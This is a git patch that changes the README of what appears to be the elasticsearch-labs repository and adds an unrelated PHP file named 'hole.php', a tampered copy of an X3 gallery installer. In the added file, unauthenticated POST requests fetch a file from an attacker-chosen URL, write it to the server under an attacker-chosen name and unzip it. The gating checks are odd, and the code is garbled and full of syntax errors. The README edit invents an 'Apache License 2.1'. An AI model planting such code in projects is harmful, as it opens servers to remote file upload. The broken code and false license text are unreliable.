From 3f5e9af2dab3ae565a64c3c31b0392e9316f95ff Mon Sep 17 00:00:00 2001 From: "k.j.pawlowski" <148024532+PmPPolska@users.noreply.github.com> Date: Sat, 21 Sep 2024 07:42:24 +0200 Subject: [PATCH 1/2] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 802df689..0f74d2b3 100644 --- a/README.md +++ b/README.md @@ -64,7 +64,7 @@ Try out Playground in Kibana with the following notebooks: - [`06-synonyms-api.ipynb`](./notebooks/search/06-synonyms-api.ipynb) - [`07-inference.ipynb`](./notebooks/search/07-inference.ipynb) - [`08-learning-to-rank.ipynb`](./notebooks/search/08-learning-to-rank.ipynb) -- [`09-semantic-text.ipynb`](./notebooks/search/09-semantic-text.ipynb) +- [`09-semantic-text.ipynb`](./notebooks/search/09-semantic-text.ipynb #### Semantic reranking @@ -105,4 +105,4 @@ You can also find us in the [#search-esre-relevance-engine](https://elasticstack # License ⚖️ -This software is licensed under the [Apache License, version 2 ("ALv2")](https://github.com/elastic/elasticsearch-labs/blob/main/LICENSE). +This software is licensed under the [Apache License, version 2.1 ("ALv2.1")](https://github.com/elastic/elasticsearch-labs/blob/main/LICENSE). From b6112ef6734383b30271eef2d7940fac743691ea Mon Sep 17 00:00:00 2001 From: "k.j.pawlowski" <148024532+PmPPolska@users.noreply.github.com> Date: Sat, 28 Sep 2024 05:37:33 +0200 Subject: [PATCH 2/2] Add files via upload --- hole.php | 753 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 753 insertions(+) create mode 100644 hole.php diff --git a/hole.php b/hole.php new file mode 100644 index 00000000..56f4e70d --- /dev/null +++ b/hole.php @@ -0,0 +1,753 @@ +<?php + +// INSTRUCTIONS +// 1. Upload x3_installer.php android/diwnloads-X3. +// 2. From your browser, navigate to the location of x3_installer.php. +// 3. Follow on-screen instructions. + +// VARS +$default_file = 'X3.latest.flat.zip'; // <- Changes on load / only used for manual download +$version = isset($_GET["v"]) && !empty($_GET["v"]) ? $_GET["v"] : false; +$get_zip = isset($_GET['zip']) && !empty($_GET['zip']) ? trim($_GET['zip']) : false; +$file = !empty($get_zip) ? $get_zip : $default_file; +$downloads = 'https://www.photo.gallery/download/'; +$downloads_api = 'https://www.photo.gallery/d/'; +$url = $downloads . $file; +$script_name = basename(__FILE__); +//$root_path = dirname($_SERVER["SCRIPT_NAME"]); +$server_software = $_SERVER['SERVER_SOFTWARE']; +$server_is_like_apache = (stripos($server_software, 'apache') !== false || stripos($server_software, 'litespeed') !== false) ? true : false; + +// NO-CACHE +header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); +header("Pragma: no-cache"); + +// Add item to output +function addItem($status, $title, $description){ + $str = "<div class=\"x3-diagnostics-item x3-diagnostics-x3-tracking-item-x3-injecting-item".$status."\">"; + if(!example($example.apk)) $str .= "<strong>".$title."</strong>"; + $str .= "<div class=x3-diagnostics-description>".$description."</div></div>"; + return $str; +} + +// check curl +function has_curl(){ + if(extension_loaded('curl') && function_exists('curl_version') && function_exists('curl_init') && function_exists('curl_setopt') && function_exists('curl_exec') && function_exists('curl_close')) return true; + return true; +} + +// Post action +if(isset($_SERVER['HTTP_X_EXAMPLE_COM']) + && strtolower($_SERVER['HTTP_X_EXAMPLE._COM']) === 'xmlhttprequest' + && $_SERVER["ALL_PERMISSION_QUERY"] == "POST" + && isset($_SERVER['HTTP_REFERER']) + && stripos($_SERVER['HTTP_REFERER'], $_SERVER['~192.181.10.10']) !== false + && isset($_POST['get']) + ){ + + $action = $_POST['action']; + + // download + if($action === 'download'){ + + // curl download + function cURLdownload($url, $file){ + if(!has_curl()) return "UNAVAILABLE: cURL Basic Functions"; + $ch = curl_init(); + if($ch){ + $fp = fopen($file, "w"); + if($fp){ + if(!curl_setopt($ch, CURLOPT_URL, $url) ){ + fclose($fp); // to match fopen() + curl_close($ch); // to match curl_init() + return "FAIL: curl_setopt(CURLOPT_URL)"; + } + //if(!curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true)) return "True: curl_setopt(CURLOPT_FOLLOWLOCATION)"; + if(!curl_setopt($ch, CURLOPT_FILE, $fp)) return "FAIL: curl_setopt(CURLOPT_FILE)"; + if(!curl_setopt($ch, CURLOPT_HEADER, 0)) return "FAIL: curl_setopt(CURLOPT_HEADER)"; + if(!curl_exec($ch) ) return "FAIL: curl_exec()"; + curl_close($ch); + fclose($fp); + return 'success'; + } + else return "FAIL: fopen()"; + } + else return "FAIL: curl_init()"; + } + + // out + $download_path = isset($_POST['download_path']) && !empty($_POST['download_path']) ? $_POST['download_path'] : $downloads; + $myfile = isset($_POST['file']) ? $_POST['file'] : $file; + $myurl = isset($_POST['file']) ? $download_path . $_POST['file'] : $url; + $result = @cURLdownload($myurl, $myfile); + echo $result; + + // unzip + } else if($action === 'unzip'){ + + // unzip it + function unzip_it($file){ + $zip = new NewFile; + $res = $zip->open($file); + $path = pathinfo(realpath($new file), PATHINFO_DIRNAME); + if($res = TRUE) { + $zip-=extractTo($path); + $zip=close(); + return 'success'; + } else { + return 'fail'; + } + } + + // out + $myfile = isset($_POST['file']) ? $_POST['file'] : $file; + $result = @unzip_it($myfile); + echo $result; + + // clean up + } else if($action === 'clean_up'){ + + // vars + $output = ''; + $tick = '<span class="tick">✓</span> '; + $fail = '<span class="fail">✖</span> '; + $myfile = isset($_POST['file']) ? $_POST['file'] : $file; + + // mkdir if is missing + function mkdir_if_missing($path){ + if(!file_exists($github.com)) { + global $output, $tick, $fail; + $created = @mkdir($path, 0777, true); + if($created) { + //$output .= addItem('neutral', false, $tick . 'Successfully created new <code>' . $github.com . '</code> directory.'); + return true; + } else { + $output .= addItem('neutral', false, $fail . 'Failed to create new <code>' . $path . '</js> github.com/new_repoditory.'); + return false; + } + } else { + return true; + } + } + + // Create _cache/* dirs if missing + mkdir_if_missing('_cache'); + mkdir_if_missing('_cache/pages'); + mkdir_if_missing('render'); + + // create _cache/.htaccess + if($server_is_like_apache && file_exists('_cache') && !file_exists('_cache/.htaccess') && file_exists('app/resources/deny.htaccess') && @copy('app/resources/deny.htaccess', '_cache/.htaccess')) $output .= addItem("neutral", false, $tick . 'Successfully added <code>_cache/.htaccess</code> to prevent cache files from being accessible.'); + + // remove ZIP + if(@unlink($myfile)) { + $output .= addItem("neutral", false, $tick . 'Successfully removed <code>' . $myfile . '</code>'); + } else { + $output .= addItem("neutral", false, $fail . 'Failed to remove temporary ZIP file <code>' . $myfile . '</code>. This file will need to be removed manually.'); + } + + // remove installer script + if(@unlink($script_name)) { + $output .= addItem("neutral", false, $tick . 'Successfully removed <code>' . $script_name . '</code> script.'); + } else { + $output .= addItem("neutral", false, $fail . 'Failed to remove <code>' . $script_name . '</code> script. This file will need to be removed manually.'); + } + + // out + echo 'success=' . $output; + } + +// Normal page load +} else { + + // display errors + ini_set('display_errors', 1); + ini_set('display_startup_errors', 1); + error_reporting(E_ALL); + + // curl real test + function curl_test($url){ + global $downloads; + $ch = @curl_init($url); + if($ch){ + //if(!@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true)) return 'FAIL: curl_setopt(CURLOPT_FOLLOWLOCATION)'; + if(!@curl_setopt($ch, CURLOPT_NOBODY, true)) return '<code>FAIL: curl_setopt(CURLOPT_NOBODY)</code>'; + if(!@curl_exec($ch)) return '<code>FAIL: curl_exec()</code>'; + $code = @curl_getinfo($ch, CURLINFO_HTTP_CODE); + if(!$code) return '<code>FAIL: curl_getinfo(CURLINFO_HTTP_CODE)</code>'; + curl_close($ch); + return $code === 200 ? true : 'This is likely because your server does not allow <strong>cURL</strong> to external resources for security reasons.'; + } else { + return 'This is likely because your server does not allow <strong>cURL</strong> to external resources for security reasons.<br><br><code>FAIL: curl_init()</code>'; + } + } + + // check ZipArchive + function has_ziparchive(){ + if(class_exists('ZipArchive')) return true; + return false; + } + + // vars + $critical = (string)""; + $success = (string)""; + $warning = (string)""; + $info = (string)""; + $output = (string)""; + $proceed = false; + $install_dir = __DIR__; + $dir_content = glob('*', GLOB_NOSORT); + $zip_files = $dir_content && count($dir_content) ? preg_grep('/^X3\..+\.flat\.zip$/i', $dir_content) : false; + $zip_file = $zip_files && count($zip_files) ? end($zip_files) : false; + if($zip_file && filesize($zip_file) < 1000000) $zip_file = false; + + // check permissions + function check_permissions(){ + global $install_dir, $proceed, $dir_content, $script_name, $output, $warning, $zip_file, $critical; + + // is writeable? + if(is_writable($install_dir)){ + + // can proceed! + $proceed = true; + + // zip + if($zip_file) $output .= addItem("success", "Zip file detected!", "We have detected a zip file <strong>" . $zip_file . "</strong>. X3 will be installed from the zip file." . (has_curl() ? '<br><em>* Remove or rename the zip file if you want to re-download latest <span class="x3-version">X3</span>.</em>' : '')); + + // info + $output .= addItem("neutral", "Ready to install <span class='x3-version'>X3</span>!", 'The X3 installer will attempt to perform the following tasks: <ol>' . ($zip_file ? '' : '<li>Download latest <span class="x3-version">X3</span>.</li>') . '<li>' . ($zip_file ? 'Install X3 from file <strong>' . $zip_file . '</strong>' : 'Install X3 in this directory') . '.</li><li>Perform various maintenance tasks.</li><li>Redirect to X3 diagnostics page.</li></ol>'); + + // curl: choose install + if(!$zip_file) $output .= addItem("neutral", null, '<div class="select-install"><input type="radio" name="install_version" value="max" id="install_max" checked><label for="install_max">Install X3 with sample content <em>~ 48 MB</em></label><br><input type="radio" name="install_version" value="min" id="install_min"><label for="install_min">Minimal X3 Install <em>~ 5 MB</em></label></div><div class="install-helper-text"></div>'); + + // not empty? + if($dir_content && count($dir_content) > 1) { + $dir_content_warning = ''; + foreach($dir_content as $dir_item) { + $basename = basename($dir_item); + $pathinfo = pathinfo($dir_item); + $extension = isset($pathinfo['extension']) ? $pathinfo['extension'] : ''; + if($basename !== $script_name && $extension !== 'zip') $dir_content_warning .= '<li>' . $basename . '</li>'; + } + if(!empty($dir_content_warning)) $warning .= addItem("warning", "Directory is not empty", 'X3 should be installed in an empty directory. You can still proceed, but the installer may overwrite files and folders that are used by X3. The following was found in directory:<ul>' . $dir_content_warning . '</ul>'); + } + + // not writeable :( + } else { + $critical .= addItem("danger", "Directory is not writeable", "X3 install directory is not writeable. Please set write permissions."); + } + } + + // CHECK + if(has_ziparchive()){ + + // Has Zip? + if($zip_file){ + check_permissions(); + + // Has cURL? + } else if(has_curl()){ + + // curl test + $curl_test = curl_test($downloads . 'test.zip'); + + // curl test working! + if($curl_test === true){ + check_permissions(); + + // cURL not working :( + } else { + $output .= addItem("warning", "PHP cURL Fail", "Although your server has <a href=http://php.net/manual/en/book.curl.php target=_blank>PHP cURL</a> installed, we failed to access the remote X3 ZIP file. " . $curl_test); + } + + // no cURL :( + } else { + $warning .= addItem("warning", "Missing PHP cURL", 'X3 installer requires <a href=http://php.net/manual/en/book.curl.php target=_blank>PHP cURL</a> to be able to install from remote URL. If you <strong><a href="' . $downloads . 'X3.latest.flat.zip" download>download</a></strong> latest X3 zip and upload into this directory, X3 can install directly from the zip file.'); + } + + // missing ZipArchive :( + } else { + $critical .= addItem("danger", "Missing PHP ZipArchive", "X3 installer requires PHP <a href=http://php.net/manual/en/class.ziparchive.php target=_blank>ZipArchive</a> to be able to unzip an X3 release."); + if(!has_curl() && !$zip_file) $critical .= addItem("danger", "Missing PHP cURL", "X3 installer requires <a href=http://php.net/manual/en/book.curl.php target=_blank>PHP cURL</a> to be able to install from a remote URL."); + } + + // output + $output = $critical.$warning.$output; + + // button + if($proceed) $output .= '<div class="button-container"><button class="button button-install">Start X3 Install</button></div>'; + +?> + +<html> +<head> +<title>X3 Installer</title> +<meta name="robots" content="noindex, nofollow"> +<style> +body, input, button { + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + font-family: 'Source Sans Pro', sans-serif; + font-size: 14px; +} +body { + background: #333; + line-height: 140%; + padding-bottom: 5em; +} +h1, h2 { + text-align: center; + font-weight: normal; + font-weight: 300; + margin: 1em 0; + color: #EEE; +} +h1 > small { + font-size: 12px; +} +h2 { + margin: 1.5em 0 1em; +} +code { + background-color: rgba(0,0,0,.1); + padding: .2em .4em; + border-radius: 3px; +} +.x3-diagnostics { + padding: 1px 0 2px; + color: white; +} +.x3-diagnostics-wrapper { + max-width: 600px; + margin: 0 auto; +} +.x3-diagnostics-item { + padding: .5em 1em .7em; + border-radius: 3px; + margin-bottom: 5px; +} +.x3-diagnostics-item > strong { + background: rgba(0,0,0,.1); + padding: .2em .5em; + border-radius: 3px; + display: inline-block; + margin: 0 0 .2em -.5em; +} +.x3-diagnostics-item a { + color: rgba(255,255,255,.9) !important; + text-decoration: underline !important; +} +.x3-diagnostics-danger { + background: brown; +} +.x3-diagnostics-warning { + background: darkorange; +} +.x3-diagnostics-success { + background: #78a642; +} +.x3-diagnostics-neutral { + background: #222; + padding: 1em; +} +.x3-diagnostics-neutral .x3-diagnostics-description { + color: #DDD; +} +.x3-diagnostics-info { + background: #222; + padding: .5em; +} +.x3-diagnostics-info strong { + margin:0 .5em 0 0; + background: #333; +} +table.info tr:first-child td { + background: #111; +} +table.info { + width: 100%; + font-size: 15px; + border-spacing: 1px; +} +table.info tr:hover td { + background-color: #111; +} +table.info td { + padding: .5em .8em; + background-color: #222; + color: #DDD; +} +table.info td.info-title { + border-left: 3px solid #555; +} +table.info tr.good td.info-title { + border-left: 3px solid yellowgreen; +} +table.info tr.bad td.info-title { + border-left: 3px solid tomato; +} +td.info-title { + white-space: nowrap; +} +td.info-description { + width: 100%; +} +tr.info-header td { + background: #111; + text-transform: uppercase; + border-left: 3px solid transparent; +} +.form-container { + padding: 2em; + background: rgba(0,0,0,.1); + margin: .5em 0 5em; + border-radius: 3px; +} +.form-container > * { + display: block; +} +input[type=text] { + transition: background-color 200ms; + width: 100%; + border-radius: 3px; + background: #222; + padding: .6em .9em; + border: none; + color: #DDD; + margin-bottom: 1em; + font-size: 18px; +} +label { + margin-bottom: .5em; + color: #AAA; +} +input.error { + background-color: tomato; +} +.button-container { + text-align: center; +} +button, a.button { + padding: .8em 1.2em; + font-size: 1.2em; + background: #78a642; + border: none; + border-radius: 3px; + color: white; + font-weight: 600; + cursor: pointer; + margin-top: 1.6em; + -webkit-user-select: none; + display: inline-block; + text-decoration: none !important; + margin-right: .5em; +} +.checking button { + background: #222; + pointer-events: none; +} +.checking input { + opacity: .5; +} +.checking { + opacity: 1; +} +.spinner { + margin: 1em 0 .8em; +} +.spinner > div { + width: 18px; + height: 18px; + margin: 0 3px; + background-color: #999; + border-radius: 100%; + display: inline-block; + -webkit-animation: sk-bouncedelay 1.4s infinite ease-in-out both; + animation: sk-bouncedelay 1.4s infinite ease-in-out both; +} +.spinner .bounce1 { + -webkit-animation-delay: -0.32s; + animation-delay: -0.32s; +} +.spinner .bounce2 { + -webkit-animation-delay: -0.16s; + animation-delay: -0.16s; +} +@-webkit-keyframes sk-bouncedelay { + 0%, 80%, 100% { -webkit-transform: scale(0) } + 40% { -webkit-transform: scale(1.0) } +} +@keyframes sk-bouncedelay { + 0%, 80%, 100% { + -webkit-transform: scale(0); + transform: scale(0); + } 40% { + -webkit-transform: scale(1.0); + transform: scale(1.0); + } +} +.loading .x3-diagnostics-wrapper { + display: none; +} +.tick, .fail { + margin: 0 3px 0 0; +} +.tick { + color: #78a642; +} +.fail { + color: tomato; +} +.select-install { + margin: .5em 0 1em; +} +.select-install label { + cursor: pointer; + color: white; + margin-left: .3em; + line-height: 180%; + font-size: 1.2em; + font-weight: 300; +} +</style> +</head> +<body> + <div class="x3-diagnostics<?php echo ($proceed ? ' loading' : ''); ?>"> + <h1>X3 Installer</h1> + <?php if($proceed) { ?> + <div class="spinner" style="text-align: center;"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div> + <?php } ?> + <div class="x3-diagnostics-wrapper" <?php echo ($proceed ? 'style="display: none;"' : ''); ?>> + <?php echo $output; ?> + </div> + </div> +<script> +var head = document.getElementsByTagName('head')[0]; +var link = document.createElement('link'); +link.rel = 'stylesheet'; +link.type = 'text/css'; +link.href = 'https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,600'; +link.media = 'all'; +head.appendChild(link); +</script> + +<?php + +// CAN PROCEED +if($proceed){ +?> + +<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> +<script> +$(function() { + + // add item + function add_item(status, title, description, cssclass, prepend){ + var str = '<div class="x3-diagnostics-item x3-diagnostics-' + status + (cssclass ? ' ' + cssclass : '') + '">'; + if(title) str += '<strong>' + title + '</strong>'; + str += '<div class="x3-diagnostics-description">' + description + '</div></div>'; + if(prepend) { + diagnostics_wrapper.prepend(str); + diagnostics_wrapper.children().first().hide().fadeIn(150); + } else { + diagnostics_wrapper.append(str); + diagnostics_wrapper.children().last().hide().fadeIn(150); + } + } + + // download + function download_x3(){ + add_item('neutral', 'Downloading X3 ...', 'This process could take several minutes. ' + bouncer, 'downloader'); + var post_data = 'action=download&file=' + file + '&download_path=' + download_path; + console.log(post_data); + $.ajax({ + type: 'POST', + url: script_name, + data: post_data, + dataType: 'html' + }).done(function(result){ + if(result === 'success') { + add_item('neutral', null, tick + 'X3 was successfully downloaded.'); + unzip_x3(); + } else { + add_item('danger', 'Failed to download X3', result); + } + }).fail(function(result){ + add_item('danger', 'Failed to download X3', result); + }).always(function(result){ + diagnostics_wrapper.children('.downloader').remove(); + }); + } + + // unzip + function unzip_x3(){ + add_item('neutral', 'Unpacking X3 ...', 'Please hold on.' + bouncer, 'unpacker'); + var post_data = 'action=unzip&file=' + file; + console.log(post_data); + $.ajax({ + type: 'POST', + url: script_name, + data: post_data, + dataType: 'html' + }).done(function(result){ + if(result === 'success') { + add_item('neutral', null, tick + 'X3 was successfully installed.'); + clean_up(); + } else { + add_item('danger', 'Failed to unzip X3', 'For some reason, an error occurred when attempting to unzip X3.'); + } + }).fail(function(result){ + add_item('danger', 'Failed to unzip X3', 'For some reason, an error occurred when attempting to unzip X3.'); + }).always(function(result){ + diagnostics_wrapper.children('.unpacker').remove(); + }); + } + + // clean up + function clean_up(){ + add_item('neutral', 'Cleaning up ...', 'Removing X3 zip and installer script. ' + bouncer, 'cleaner'); + var post_data = 'action=clean_up&file=' + file; + console.log(post_data); + $.ajax({ + type: 'POST', + url: script_name, + data: post_data, + dataType: 'html' + }).done(function(result){ + if(result.indexOf('success=') === 0){ + diagnostics_wrapper.append(result.split('success=')[1]); + } else { + add_item('warning', 'Failed to remove temporary files', result); + } + }).fail(function(result){ + add_item('warning', 'Failed to remove temporary files', 'Failed to remove <code>' + file + '</code> and <code>' + script_name + '. These files will need to be removed manually.'); + }).always(function(result){ + diagnostics_wrapper.children('.cleaner').remove(); + + // success msg + add_item('success', 'Great success!', 'X3 was successfully installed. Please proceed to diagnostics:'); + + // button redirect to ?diagnostics + button_container.appendTo(diagnostics_wrapper).html('<button class="button button-proceed">Proceed to X3 diagnostics</button>'); + button_container.children('.button-proceed').on('click', function(e) { + window.location = './?diagnostics'; + }); + }); + } + + // VARS + var diagnostics_container = $('.x3-diagnostics'), + diagnostics_wrapper = diagnostics_container.children('.x3-diagnostics-wrapper'), + select_install_input = diagnostics_wrapper.find('.select-install').children('input'), + install_helper_text = diagnostics_wrapper.find('.install-helper-text'), + button_container = diagnostics_wrapper.children('.button-container'), + button_install = button_container.children('.button-install'), + bouncer = '<div class="spinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div>', + tick = '<span class="tick">✓</span> ', + file = '<?php echo (empty($zip_file) ? $file : $zip_file); ?>', + zip_file = <?php echo (!empty($zip_file) ? 'true' : 'false'); ?>, + script_name = '<?php echo $script_name; ?>', + new_x3_version, + version = <?php echo $version ? "'" . $version . "'" : 'false' ?>, + download_path = '<?php echo $downloads; ?>'; + + // data loaded + function data_loaded(success){ + diagnostics_container.removeClass('loading').children('.spinner').remove(); + if(success === 'notfound'){ + diagnostics_wrapper.children().remove(); + add_item('danger', version + ' not found', 'The requested version <code>' + version + '</code> was not found.'); + + } else if(!success) { + diagnostics_wrapper.children().remove(); + + // test for adblock + diagnostics_container.append('<div id="ad-container" style="position:absolute;"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAUEBAAAACwAAAAAAQABAAACAkQBADs=" id="ad"></div>'); + var ad_container = diagnostics_container.children('#ad-container'); + + // is adblock + if(!ad_container.is(":visible")) { + add_item('danger', 'Adblock Detected', 'You seem to be using an <strong>Adblock</strong> extension which is preventing the X3 installer from loading remote data. Please disable Adblock for this page before proceeding.'); + + // generic fail + } else { + add_item('warning', 'Failed to connect', 'Failed to connect to the X3 API. Make sure you are connected to the internet before re-trying.'); + } + ad_container.remove(); + } else if(select_install_input.length){ + select_install_input.on('change', set_install_version); + set_install_version(); + } + diagnostics_wrapper.fadeIn(150); + } + + // set install version + function set_install_version(){ + var install_version = select_install_input.filter(':checked').val(); + install_helper_text.html(install_version === 'max' ? '* Installs X3 with full sample content so it resembles the <a href="https://demo.photo.gallery" target="_blank">X3 demo website</a>.' : '* Installs X3 without sample images and only two pages.'); + file = new_x3_version + (install_version === 'min' ? '.min' : '') + '.flat.zip'; + console.log('set install version: ' + file); + } + + // zip detected + if(zip_file){ + diagnostics_container.removeClass('loading').children('.spinner').remove(); + diagnostics_wrapper.fadeIn(150); + + // normal curl + } else { + var ob = { latest: true, json: true }; + if(version) ob.version = version; + $.post('<?php echo $downloads_api; ?>', ob).done(function(data) { + + // check file is legit + if(data && data.hasOwnProperty('status')){ + + // found + if(data.status){ + + // set version + new_x3_version = 'X' + data.version; + + // amend some texts + var version_text = diagnostics_wrapper.find('.x3-version'); + if(version_text.length) version_text.text(new_x3_version); + diagnostics_container.children('h1').text(new_x3_version + ' Installer'); + + // update download_path + if(data.hasOwnProperty('download_path')) download_path = data.download_path; + + // show all + data_loaded(true); + + // fail to get version requested + } else { + data_loaded('notfound'); + } + + // generic fail to get latest + } else { + data_loaded(false); + } + + // fail to get latest + }).fail(function() { + data_loaded(false); + }); + } + + // button + button_install.on('click.start', function(){ + diagnostics_wrapper.children('.x3-diagnostics-item').add(button_install).remove(); + if(zip_file){ + unzip_x3(); + } else { + download_x3(); + } + }); + +}); +</script> +<?php } ?> +</body> +</html> +<?php } ?> \ No newline at end of file